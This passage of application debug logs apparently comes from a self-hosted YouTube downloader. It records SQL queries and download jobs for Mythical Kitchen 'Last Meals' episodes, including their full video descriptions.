s0 WHERE (s0."id" = ?) [1] 20:48:59.778 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-31 10:00:14Z], 1] 20:48:59.783 [debug] QUERY OK source="media_items" db=4.0ms idle=1004.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Seth Rollins' last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nTimestamps\n0:00 Seth's Last Meal Menu\n0:36 Iowa Hardcore Scene\n1:55 How Often Do You Think About Death?\n2:39 New Last Meals Hat & Tee\n3:06 1st Course - BLT, Corn On The Cob, Pizza Rolls, Spicy Doritos, & Pepsi\n3:32 Childhood Memories\n4:49 Seth's First Personas\n6:19 Preeminent Corn Critic\n7:05 Big Brothers & Magic The Gathering \n8:05 Pizza Rolls Technique \n8:40 Madden Football & Spicy Doritos\n10:40 2nd Course - Ribeye, Fatty Tuna, & Sake\n11:32 Jiro Dreams of Sushi & Discovering A Hidden Gem\n14:18: Being A Heel And Human Morality\n15:10 Physical Peak Vs. Mental Peak\n16:52 3rd Course - Enchiladas, Fideo, & Detroit Style Pizza\n17:32 Growing Up In a Half-Mexican Household\n18:11 Father Figures & Parkinson's Disease\n20:01 Learning To Love The Midwest\n21:21 Self-Loathing\n22:31 The Marvel Movie Experience\n23:52 4th Course - Hooters Buffalo Shrimp & Budweiser\n23:57 History With Hooters\n25:42 Josh's Wrestling Persona (Alpha Baby)\n27:50 Seth's Wrestling School\n28:23 Committing To The Character\n30:13 The Future Of Technology & Content\n31:33 5th Course - Salt & Straw Ice Cream & Pumpkin Pie\n32:21 Loving Salt & Straw\n33:24 Did Becoming A Dad Make You More Cautious?\n34:54 The Future Of Seth's Career\n35:19 Grieving The Loss Of Bray Wyatt\n38:39 Lightning Round - Who Would You Share Your Last Meal With?\n38:58 What Song Do You Want Played at Your Funeral?\n39:21 Which Wrestler, Dead or Alive, Would You Choose For A Hell In A Cell Match?\n39:35 Who Plays You In The Biopic?\n39:52 Logan Paul Or Jake Paul?\n39:57 Could You Beat Logan Paul In A Street Fight?\n40:23 What's Your Biggest Fear?\n40:38 What's Your Biggest Regret In Life?\n41:00 Are You Happy?\n41:52 Seth's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDK" <> ..., "WWE’s Seth Rollins Eats His Last Meal", "d327c141-faf3-4904-8457-21ef85114b53", "https://www.youtube.com/watch?v=Eh2jUzJ-qWs", false, "Eh2jUzJ-qWs", 2572, false, 79, "/downloads/Last Meals/2023-10-31 WWE’s Seth Rollins Eats His Last Meal/WWE’s Seth Rollins Eats His Last Meal [Eh2jUzJ-qWs].mp4", false, false, 1, [], 0, ~U[2023-10-31 10:00:14Z], ~U[2026-03-28 00:48:59Z], ~U[2026-03-28 00:48:59Z], "Today, Josh is cooking Seth Rollins' last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nTimestamps\n0:00 Seth's Last Meal Menu\n0:36 Iowa Hardcore Scene\n1:55 How Often Do You Think About Death?\n2:39 New Last Meals Hat & Tee\n3:06 1st Course - BLT, Corn On The Cob, Pizza Rolls, Spicy Doritos, & Pepsi\n3:32 Childhood Memories\n4:49 Seth's First Personas\n6:19 Preeminent Corn Critic\n7:05 Big Brothers & Magic The Gathering \n8:05 Pizza Rolls Technique \n8:40 Madden Football & Spicy Doritos\n10:40 2nd Course - Ribeye, Fatty Tuna, & Sake\n11:32 Jiro Dreams of Sushi & Discovering A Hidden Gem\n14:18: Being A Heel And Human Morality\n15:10 Physical Peak Vs. Mental Peak\n16:52 3rd Course - Enchiladas, Fideo, & Detroit Style Pizza\n17:32 Growing Up In a Half-Mexican Household\n18:11 Father Figures & Parkinson's Disease\n20:01 Learning To Love The Midwest\n21:21 Self-Loathing\n22:31 The Marvel Movie Experience\n23:52 4th Course - Hooters Buffalo Shrimp & Budweiser\n23:57 History With Hooters\n25:42 Josh's Wrestling Persona (Alpha Baby)\n27:50 Seth's Wrestling School\n28:23 Committing To The Character\n30:13 The Future Of Technology & Content\n31:33 5th Course - Salt & Straw Ice Cream & Pumpkin Pie\n32:21 Loving Salt & Straw\n33:24 Did Becoming A Dad Make You More Cautious?\n34:54 The Future Of Seth's Career\n35:19 Grieving The Loss Of Bray Wyatt\n38:39 Lightning Round - Who Would You Share Your Last Meal With?\n38:58 What Song Do You Want Played at Your Funeral?\n39:21 Which Wrestler, Dead or Alive, Would You Choose For A Hell In A Cell Match?\n39:35 Who Plays You In The Biopic?\n39:52 Logan Paul Or Jake Paul?\n39:57 Could You Beat Logan Paul In A Street Fight?\n40:23 What's Your Biggest Fear?\n40:38 What's Your Biggest Regret In Life?\n41:00 Are You Happy?\n41:52 Seth's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJ (truncated) 20:48:59.784 [debug] QUERY OK source="sources" db=0.3ms idle=632.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:59.784 [debug] QUERY OK source="media_profiles" db=0.3ms idle=8.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:59.785 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [94] 20:48:59.785 [info] Kicking off download for media item #94 (Eh2jUzJ-qWs) 20:48:59.787 [debug] QUERY OK source="tasks" db=0.0ms idle=3.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [93, 94, ~U[2026-03-28 00:48:59Z], ~U[2026-03-28 00:48:59Z]] 20:48:59.787 [debug] Current batch of media processed. Will check again in 1000ms 20:49:00.560 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:00.788 [debug] Current batch of media processed. Will check again in 1000ms 20:49:01.789 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Brie Larson eats her last meal.\n\nFind Brie on YouTube: https://www.youtube.com/channel/UCN_GNYmF_jOpv8Yoh3KBILA\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Brie's Last Meal\n0:23 Top Mario Tennis Player\n1:00 Have You Thought About Your Last Meal Before?\n2:05 Find Ways To Ritualize Your Life\n2:50 1st Course\n4:30 Activism & Auntie Anne's\n7:30 The Search For Meaning\n8:57 Crying During Chopped (& Not Getting Smart House)\n11:40 The Magic Of Hosting\n12:15 2nd Course\n17:14 Let Your Drunk Friends Clean\n18:11 We NEED Parties\n20:48 Childhood Indiana Jones Memories\n22:39 3rd Course\n26:19 Animal Crossing & Fear Of Failure\n29:12 Let Down As Many People As Possible\n31:50 4th Course\n34:27 Caring ALOT\n35:43 Dealing With Despair\n38:44 What Do You Think Happens When You Die?\n39:44 Lightning Round\n43:33 Brie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2661, "filename" => "/downloads/Last Meals/2025-10-21 Brie Larson Eats Her Last Meal/Brie Larson Eats Her Last Meal [_ugOPkkWMTw].mp4", "id" => "_ugOPkkWMTw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_ugOPkkWMTw", "playlist_index" => 80, "timestamp" => 1761040863, "title" => "Brie Larson Eats Her Last Meal", "upload_date" => "20251021"} 20:49:01.789 [debug] QUERY OK source="sources" db=0.1ms idle=1229.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:01.790 [debug] QUERY OK source="sources" db=0.0ms idle=732.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:01.790 [debug] QUERY OK source="media_items" db=0.2ms idle=732.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-21 10:01:03Z], 1] 20:49:01.791 [debug] QUERY OK source="media_items" db=0.6ms idle=733.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Brie Larson eats her last meal.\n\nFind Brie on YouTube: https://www.youtube.com/channel/UCN_GNYmF_jOpv8Yoh3KBILA\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Brie's Last Meal\n0:23 Top Mario Tennis Player\n1:00 Have You Thought About Your Last Meal Before?\n2:05 Find Ways To Ritualize Your Life\n2:50 1st Course\n4:30 Activism & Auntie Anne's\n7:30 The Search For Meaning\n8:57 Crying During Chopped (& Not Getting Smart House)\n11:40 The Magic Of Hosting\n12:15 2nd Course\n17:14 Let Your Drunk Friends Clean\n18:11 We NEED Parties\n20:48 Childhood Indiana Jones Memories\n22:39 3rd Course\n26:19 Animal Crossing & Fear Of Failure\n29:12 Let Down As Many People As Possible\n31:50 4th Course\n34:27 Caring ALOT\n35:43 Dealing With Despair\n38:44 What Do You Think Happens When You Die?\n39:44 Lightning Round\n43:33 Brie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Brie Larson Eats Her Last Meal", "7d8a712d-33a1-4fc7-9a03-fbf648e919dc", "https://www.youtube.com/watch?v=_ugOPkkWMTw", false, "_ugOPkkWMTw", 2661, false, 80, "/downloads/Last Meals/2025-10-21 Brie Larson Eats Her Last Meal/Brie Larson Eats Her Last Meal [_ugOPkkWMTw].mp4", false, false, 1, [], 0, ~U[2025-10-21 10:01:03Z], ~U[2026-03-28 00:49:01Z], ~U[2026-03-28 00:49:01Z], "Today, Brie Larson eats her last meal.\n\nFind Brie on YouTube: https://www.youtube.com/channel/UCN_GNYmF_jOpv8Yoh3KBILA\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Brie's Last Meal\n0:23 Top Mario Tennis Player\n1:00 Have You Thought About Your Last Meal Before?\n2:05 Find Ways To Ritualize Your Life\n2:50 1st Course\n4:30 Activism & Auntie Anne's\n7:30 The Search For Meaning\n8:57 Crying During Chopped (& Not Getting Smart House)\n11:40 The Magic Of Hosting\n12:15 2nd Course\n17:14 Let Your Drunk Friends Clean\n18:11 We NEED Parties\n20:48 Childhood Indiana Jones Memories\n22:39 3rd Course\n26:19 Animal Crossing & Fear Of Failure\n29:12 Let Down As Many People As Possible\n31:50 4th Course\n34:27 Caring ALOT\n35:43 Dealing With Despair\n38:44 What Do You Think Happens When You Die?\n39:44 Lightning Round\n43:33 Brie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Brie Larson Eats Her Last Meal", "https://www.youtube.com/watch?v=_ugOPkkWMTw", "_ugOPkkWMTw", 2661, false, "/downloads/Last Meals/2025-10-21 Brie Larson Eats Her Last Meal/Brie Larson Eats Her Last Meal [_ugOPkkWMTw].mp4", false, 1, ~U[2025-10-21 10:01:03Z]] 20:49:01.791 [debug] QUERY OK source="sources" db=0.0ms idle=638.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:01.791 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:01.792 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95] 20:49:01.792 [info] Kicking off download for media item #95 (_ugOPkkWMTw) 20:49:01.792 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [94, 95, ~U[2026-03-28 00:49:01Z], ~U[2026-03-28 00:49:01Z]] 20:49:01.792 [debug] Current batch of media processed. Will check again in 1000ms 20:49:02.793 [debug] Current batch of media processed. Will check again in 1000ms 20:49:03.794 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking 24kGoldn's last meal. Last Meals Ep.2\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1332, "filename" => "/downloads/Last Meals/2022-02-15 24kGoldn Eats His Last Meal/24kGoldn Eats His Last Meal [cCD23fss8GQ].mp4", "id" => "cCD23fss8GQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cCD23fss8GQ", "playlist_index" => 81, "timestamp" => 1644922830, "title" => "24kGoldn Eats His Last Meal", "upload_date" => "20220215"} 20:49:03.794 [debug] QUERY OK source="sources" db=0.1ms idle=737.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", 